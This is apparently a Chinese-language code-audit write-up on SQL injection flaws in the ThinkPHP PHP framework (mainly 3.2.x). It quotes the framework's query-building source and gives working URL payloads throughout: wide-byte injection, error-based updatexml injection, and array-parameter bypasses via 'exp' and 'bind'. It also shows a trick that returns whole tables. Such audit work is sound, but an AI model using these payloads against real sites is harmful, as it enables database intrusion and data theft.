版本過多只分析大版本和使用人數較多的版本目前使用人數最多的3.2.3。審計時也是發現多個版本未公開漏洞
測試環境: Mysql5.6/PHP5.5
首先明確的是在不使用PDO做參數綁定時ThinkPHP全版本都可能存在寬字節注入。
黑盒檢測方法:輸入於頭字節大於7F測試數據例如：
%88%5c%27%5eupdatexml(1,concat(0x7e,database()),3)%23 (%5e 后跟任意T-SQL語句)
白盒檢測方法 全局搜索默認格式是否被設置GBK
'DEFAULT_CHARSET' => 'utf-8', // 默認輸出編碼
或者
mysql_query("SET NAMES gbk");
Where方法
也是使用的最多的條件查詢方法，支持查詢條件預處理
1. $Model->where("id=%d and username='%s' and xx='%f'",array($id,$username,$xx))->select(); 2. // 或者 3. $Model->where("id=%d and username='%s' and xx='%f'",$id,$username,$xx)->select();
而他的預處理實際上調用了addslashes() 方法
/** * SQL指令安全過濾 * @access public * @param string $str SQL字符串 * @return string */ public function escapeString($str) { return addslashes($str); }
然而在對單參數傳遞時where並沒對語句做參數化處理而在官方文檔多個實例也是只傳遞了一個參數，包括一些開源項目找到的錯誤寫法。
$result = $this->db()->where($where)->update($data); 或 $teachers = $Teacher->where('name', 'like', '%' . $name . '%')
where代碼
/** * 指定查詢條件 支持安全過濾 * @access public * @param mixed $where 條件表達式 * @param mixed $parse 預處理參數 * @return Model */ public function where($where,$parse=null){ if(!is_null($parse) && is_string($where)) { if(!is_array($parse)) { $parse = func_get_args(); array_shift($parse); } $parse = array_map(array($this->db,'escapeString'),$parse); $where = vsprintf($where,$parse); } ... ... ... return $this; }
只對$parse參數做了過濾 這種寫法對於query（）同樣有效或者類似處理的方法同樣有效。
這也算是開發人員安全意識問題，但在審計時這樣的寫法是影響全版本的。
QUERY()方法，execute方法
這兩個方法支持更多原生sql語句在復雜的業務場景經常遇到
在低於3.1.3版本這兩個方法都調用parseSql來解析sql語句
/** * 解析SQL語句 * @access public * @param string $sql SQL指令 * @param boolean $parse 是否需要解析SQL * @return string */ protected function parseSql($sql,$parse) { // 分析表達式 if(true === $parse) { $options = $this->_parseOptions(); $sql = $this->db->parseSql($sql,$options); }elseif(is_array($parse)){ // SQL預處理 $sql = vsprintf($sql,$parse); }else{ $sql = strtr($sql,array('__TABLE__'=>$this->getTableName(),'__PREFIX__'=>C('DB_PREFIX'))); } $this->db->setModel($this->name); return $sql; }
然而parseSql根本就沒有對數組參數做預處理就直接查詢了。
這個漏洞官方早就披露了但在歷史版本仍然可以見到身影。
Table,find,alias,join,union,group,having,comment 方法
Table,find這2個方法都需要select() 進行與數據庫查詢並未發現過濾
如果參數可控可以直接利用
$Dat=$Data->field($id)->select();
url地址中輸入
id=updatexml(1,concat(0x7e,database()),3)
或者數組形式可以躲避value的過濾檢測
id[updatexml(1,concat(0x7e,database()),3),1]=1
Table利用方式方式一樣
id=users%20where%20%20updatexml(1,concat(0x7e,database()),3)--+
Id[users]=%20where%20%20updatexml(1,concat(0x7e,database()),3)--+
在where之前的做操作都可以這樣利用
還有類似
Alias 設置當前數據表的別名
Group 根據一個或多個列對結果集進行分組
Join 用於根據兩個或多個表中的列之間的關系
UNION操作用於合並兩個或多個 SELECT 語句的結果集
COMMENT方法 用於在生成的SQL語句中添加注釋內容
如果參數可控都會造成SQL注入
Order方法
Order方法有個cve編號CVE-2018-16385
在小於5.1.2版本都存在sql注入在官網現在3.2.5最新版已經被修復然而
在3.2.4之前版本這個漏洞依舊存在 而且這個更新函數改動了很多升級可能會出現更多問題
第二個圖是補丁之后的對所有參數數組化防止sql注入，考慮問題更加全面增加數組遍歷。常規的數組處理利用二維數組可以繞過例如
id[id][updatexml(1,concat(0x7e,database()),3)]=--+
Select方法
前置方法查詢數據拼接后都是進入select最后和數據庫交互。也是重要的方法在支持一個參數傳遞往往條件 18年也披露一個漏洞 $options參數可控同類影響的方法還有delete,find
只需要在url中輸入
id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
便可注入成功都是利用了接收數組參數未驗證導致的
/** * 查詢數據集 * @access public * @param array $options 表達式參數 * @return mixed */ public function select($options=array()) { $pk = $this->getPk(); ... ... // 分析表達式 $options = $this->_parseOptions($options); ... ... return $resultSet; }
雖然在3.2.5版本更新了這個漏洞但在官網3.2.3並未被修復依舊可以被利用這也導致了低於3.2.5版本都可以利用。
在查看官方安全更新代碼時發現5.x包括，3.2.5最新版本確實將這個漏洞過濾了但卻引發另一個利用可能。
$id=I("get.id"); $Dat=$Data->select($id); $this->data = $Dat;
在url輸入 id=1%20and%201=1 可以看到執行語句
SELECT * FROM `users` WHERE `id` = 1 [ RunTime:0.0007s ]
可以看到確實這樣也不會存在sql注入但是有另一個問題Thinkphp框架特殊性
當你查詢一個數據是否存在時，入侵者無法得知你的ip時候可以通過傳遞一個數組例如
?id[]=1
SELECT * FROM `users` [ RunTime:0.0006s ]
遇到位置錯誤的時候在拼接where條件時會自動跳過，這樣你就看到整表的數據，這種方法也可以利用在delete()方法
update方法
1. $User->where('id=5')->setInc('score'); // 用戶的積分加1
2. $User->where('id=5')->setDec('score',5); // 用戶的積分減5
在調用setInc，sETDec在調用時如果參數可控也會存在注入
在直接調用update去實例化更新數據同樣會參數注入同樣的官方也發布了安全更新
例如構建一個對象
$User = M("users"); $user['id'] = I('id'); $valu = $User->where($user)->save($data);
這里也是利用exp注入
Id[0]=exp&id=[1]==1 執行的sql語句為
Select * from users Where id=1
這里的update也是這樣的利用方式利用bind 構建的payload：
id[0]=bind&id[1]=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))
而它的代碼
/** * 更新記錄 * @access public * @param mixed $data 數據 * @param array $options 表達式 * @return false | integer */ public function update($data,$options) { $this->model = $options['model']; $this->parseBind(!empty($options['bind'])?$options['bind']:array()); $table = $this->parseTable($options['table']); $sql = 'UPDATE ' . $table . $this->parseSet($data); if(strpos($table,',')){// 多表更新支持JOIN操作 $sql .= $this->parseJoin(!empty($options['join'])?$options['join']:''); } $sql .= $this->parseWhere(!empty($options['where'])?$options['where']:''); if(!strpos($table,',')){ // 單表更新支持order和lmit $sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'') .$this->parseLimit(!empty($options['limit'])?$options['limit']:''); } $sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:''); return $this->execute($sql,!empty($options['fetch_sql']) ? true : false); }
從Update代碼中發現代碼中先調用parseSet 構建的 set xxxx 在拼接完成后 類似
UPDATE xxx SET user=:0 WHERE id= xx
在where條件第二次調用拼接時可以造成SQL注入
elseif('bind' == $exp ){ // 使用表達式 $whereStr .= $key.' = :'.$val[1]; }elseif('exp' == $exp ){ // 使用表達式 $whereStr .= $key.' '.$val[1];
在傳遞數組時可以達到繞過
Id[0]=bind&id=updatexml(1,concat(0x7e,database()),3) 或者 Id[0]=exp&id=updatexml(1,concat(0x7e,database()),3)
這也是 bind,exp注入
在最后調用execute方法時默認對：1：0進行拼接
這里又會造成第3次注入
比如我們輸入
?u=)%20and%20updatexml(1,concat(0x7e,database()),3)%20--+&p=exp&id=:1%27:0
在條件位只輸入:1’:0 修改位放我們要注入的語句依舊可以注入成功
這里insert 也是同樣的利用方法低於5.0都有這個問題目前官方並未修復雖然利用條件苛刻。
至此在對常用的交互查詢，修改方法審計完成。也是發現多個利用條件(踩不完的坑)，對於thinkphp在接收數組時的多處理造成的SQL注入,雖然不明白這樣設計框架的含義但這樣是非常不安全的，很容易接收無法處理的數組導致程序報錯重要信息泄露甚至500導致服務器宕機。
也是第一次接觸php代碼審計,對很多特性都要翻閱官方文檔如有遺漏或者錯誤歡迎補充指正。